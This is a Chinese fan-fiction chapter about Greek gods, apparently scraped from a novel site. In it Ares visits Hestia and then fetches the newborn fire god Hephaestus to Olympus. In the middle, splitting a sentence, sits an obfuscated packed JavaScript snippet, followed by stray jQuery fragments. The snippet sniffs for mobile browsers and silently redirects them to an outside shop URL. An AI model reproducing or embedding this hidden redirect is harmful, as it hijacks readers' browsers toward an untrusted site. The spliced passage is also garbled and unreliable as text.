阿瑞斯从阿弗洛狄特的神殿出来时，天已经蒙蒙亮了。晨光从东边的廊柱间斜着穿进来，落在他脸上，把他的脸色照得更难看了，金发有些乱，衣袍是皱的。
他没有回自己的神殿，而是拐了个弯，朝奥林匹斯西侧一座朴素的庭院走去。
赫斯提亚的神殿不像别的神明那样金碧辉煌，她的庭院不大，墙角种着一排香草和几丛开花的灌木。她住的地方中央永远燃着一团火，她本人坐在火边，似在出神。
听见脚步声，她没有回头。
“进来吧。”
阿瑞斯在门口站了一下，然后走进去，坐到火边的一个矮凳上，没有开口。
“又去找阿弗洛狄特了？”
“嗯。”
“灌了多少？”
“没多少。”
赫斯提亚没有数落他，叹了口气，伸手拿起旁边矮桌上的陶壶，倒了一杯温水，递给他。
“喝点，别总喝那些甜腻的东西。”
阿瑞斯接过来，喝了一口，放下。
“姑姑，我又想起来那个晚上。”
赫斯提亚看着他，目光里那层温软的慈爱底下，露出一丝心疼。
“……都过去那么多年了。”
“我知道，”阿瑞斯说，“可我每次想起来，都觉得——”
他没有说完，低下头，盯着自己膝盖上握紧的拳头。
“阿瑞斯，那一夜的事情，除了我们几个，奥林匹斯没有人知道。”赫斯提亚说话的声音很轻，像在哄一个坐立难安的孩子，“你父神压下来了。你知道他为什么这样做吗？”
阿瑞斯没有回答。
“不是因为面子，”她说，“当然也有面子，但那不是最重要的。他是为了你母神。”
“那如果我没有犹豫——”
“你那时候的犹豫，你没有走过去，不是因为你不够勇敢，是因为你还不确定你想失去的是哪一个。又或者，其实你两个都不想失去。”
阿瑞斯的睫毛颤了一下。
“你知道你母神后来怎么跟我说的吗？”
他抬起头，看着赫斯提亚。
“我去看过他，他说——”
‘阿瑞斯停在那里，是对的。’
‘那个夜里，我让他看到的不是他应该做的事。我让他看到他自己的父亲在流血，因为他的母亲。他看到那把匕首的时候，他脑子里想的不是王座，是——那是我的父亲。’
‘我没有教会他弑父，我在逼他学会我不配教他的东西。而他停下来了，所以他比我更清醒。’
阿瑞斯的喉结滚动了一下：“他是这么说的？”
“原话，”赫斯提亚点头，“一个字都没有多。”
阿瑞斯低着头，很久没有说话。火光照在他脸上，把他垂着的睫毛投影拉得很长，在他颧骨下方的皮肤上投出两排细细的阴影。
赫斯提亚没有再开口，她知道这些话说出来需要时间落进去。
过了许久，阿瑞斯抬起头，嘴角动了一下。
“姑姑，我想出去走走。”
赫斯提亚看了他一眼。她本来想说什么“你少喝点酒”或者“别到处打架”，但她还没开口，就感应到了什么。火堆里的火焰跳动了一下，又很快恢复平稳。
阿瑞斯注意到了：“怎么了？”
赫斯提亚没有立刻回答。她偏过头，目光越过庭院的矮墙，落在某个远方的方向。她的眉头微微抬了一下，似是收到了什么意料之外的消息。
“……一个新的火神诞生了。”
阿瑞斯愣了一下：“火神？”
“嗯。”赫斯提亚转过头看他，脸上那个意外的表情慢慢变成了一种略带思量的笑容，“刚刚诞生的，离奥林匹斯不太远。我能感觉到他的神格——是很纯净的火焰，和我的火有些相似，但更年轻、更烈。应该是一个刚刚降世的新神。”
她顿了顿，看了阿瑞斯一眼：“你替我去看看吧。”
“我？”
“你不是说要出去走走？”赫斯提亚笑了一下，“正好，奥林匹斯总是这些旧事、旧墙、旧面孔，你去看看那个新生的火神，替我传个话也好。带一句问候，就说赫斯提亚欢迎他，如果他想来奥林匹斯，可以来找我。”
阿瑞斯皱皱眉，但没有拒绝，他站起来：“在哪个方向？”
“东南，山脚附近。你到了就能感觉到他，火神的神格很烫，你不会找错的。”
阿瑞斯站在门口，回头看了她一眼。
“姑姑。”
“嗯？”
“……谢谢。”
赫斯提亚没有说什么煽情的话，朝他摆了摆手，说：“早去早回，别在路上打架。”
阿瑞斯笑笑：“知道了。”
他转身走了，朝着东南方向。他穿过一片低矮的丘陵，绕过一道干涸的河床，然后在一座山谷的入口处停住了。
那股新生的火神气息从谷底涌上来，暖烘烘的，不像他熟悉的那些神明的威压。他循着那股气息走进去，谷地三面环山，中间有一小片平坦的空地，地上覆着一层厚厚的落叶。
空地中央坐着一个孩子。
很幼小，大概四五岁的模样，赤着脚，穿着一件脏兮兮的旧衣袍，衣摆拖在地上，袖口卷了好几圈才露出指尖。他的头发是深色的，乱蓬蓬的，有几缕黏在额角上。他低着头，双手捧着一只鸟——那是一只翅膀受了伤的雏鸟，细细的腿蜷着，在他掌心里微微发抖。
那个孩子没有注意到阿瑞斯的靠近，他专注地看着手里的那只鸟，双眸垂着。然后他伸出一根手指，指尖上冒出一小簇金色的火苗。他小心地把那簇火苗移向雏鸟受伤的翅膀，火苗贴着羽毛的表面极快地掠过。
鸟翅膀上那道细小的裂口在火焰的舔舐下合拢，像是被什么看不见的线缝了起来。雏鸟挣扎一下，拍拍翅膀，从他掌心里飞起来，歪歪斜斜地蹿过灌木丛，消失在树影里。
那个孩子看着鸟飞走的方向，眉眼弯弯，随后收回手，把指尖那簇火苗按灭了。按灭的时候，他被烫了一下，抽回手甩甩，把被烫到的手指含进嘴里。
阿瑞斯站在十步之外，看着这一幕，他说不清自己那一刻的感觉。
那个孩子终于察觉到有人了，他转过来，看向阿瑞斯。
圆圆的脸，深色的头发，浅金色的眼睛——不是赫拉和宙斯那种浓烈的鎏金，是一种更浅、更淡的颜色，像秋天早晨透过薄雾的太阳。
他看着阿瑞斯，声音软软的：“你是谁？”
阿瑞斯蹲下来，和他平视。
“你是谁？”那个孩子又问了一遍。
“阿瑞斯。你叫什么？”
孩子歪了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17687770|206825||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
一下头，想了一会儿，然后回答：“赫菲斯托斯。”
“赫菲斯托斯，”阿瑞斯重复了一遍，“你刚才在救那只鸟。”
赫菲斯托斯点头：“它的翅膀坏了。”
“你怎么做到的？”
赫菲斯托斯低头看看自己的指尖，那簇小火苗已经不在了。
“就是……这样。”
他把手指伸出来，指尖上又亮起那簇金色的火。这次他控制得比刚才好了些，火苗稳稳地立在指尖上。
“它不太烫，我让它不烫它就不烫。”
“你刚出生不久？”阿瑞斯问。
“嗯。”赫菲斯托斯说，“我醒来的时候就在这里了，我自己醒的，没有人叫我。”
“你知道奥林匹斯吗？”
赫菲斯托斯摇头。
“那你愿意去那儿吗？”
赫菲斯托斯那双浅金色的眼睛里没有立刻露出好奇，他思考了片刻，然后反问：“那儿有火吗？”
“有，”阿瑞斯说，“赫斯提亚姑姑那里有火。”
“赫斯提亚是谁？”
“一个很好的女神，她让我来找你。”
赫菲斯托斯低头想了想，随后站起来，拍拍屁股上的灰和枯叶，仰着头看阿瑞斯：“好。”
阿瑞斯也站起来，赫菲斯托斯站在他旁边，大概只到他的腰那么高，扬脸看他的时候，脖子后仰出一道弯弯的弧线。
阿瑞斯忽然不知道该拿他怎么办——他没带过孩子，不知道该怎么带一个刚出生的火神走回奥林匹斯。是牵着手，还是抱着，还是让他自己走？
他站在那里犹豫了一下，结果赫菲斯托斯主动伸出那只刚灭掉火苗的小手，抓住阿瑞斯的衣角。
两人沿着来时的路往回走，阳光从树叶缝隙之间漏下来，在地面上落出一块一块的光斑。赫菲斯托斯踩在那些光斑上，时不时跳一下，踩碎一片影子又踩向下一片。阿瑞斯走在他旁边，没有催他，也没有说话。
走了一段路之后，赫菲斯托斯忽然开口：“阿瑞斯，你身上有火的味道。”
阿瑞斯疑惑地看他。
“就是——”赫菲斯托斯竭力描绘着，“你身上有两种火。一种是很旧的，烧了很久很久，像山里面的那种暗火。另一种是——”
他停下来，皱起小眉头。
“是被浇灭过的火，熄了又点着的，很烫。”
阿瑞斯的脚步顿了一下，他看着赫菲斯托斯，那双浅金色的眼睛里没有任何多余的东西，就只是在陈述一件他感应到的事实。
他继续往前走，赫菲斯托斯也继续跟着他走，那只小手始终捏着他的衣角。
奥林匹斯遥远的金色轮廓在视野尽头渐渐浮现出来的时候，赫菲斯托斯抬头看了一眼，感叹了一句：“那些房子好大。”
“那是神殿。”阿瑞斯说。
“好多柱子。”
“嗯。”
“我在里面也有一个房子吗？”
“应该有。”
赫菲斯托斯没有再追问有关奥林匹斯的事，侧过头看着阿瑞斯：“阿瑞斯，你的火以后还会被浇灭吗？”
阿瑞斯沉默了一会儿。
“不知道。”
赫菲斯托斯笑了一下，似是对这个回答很满意。然后他又踩碎了一块光斑，跟在阿瑞斯身后。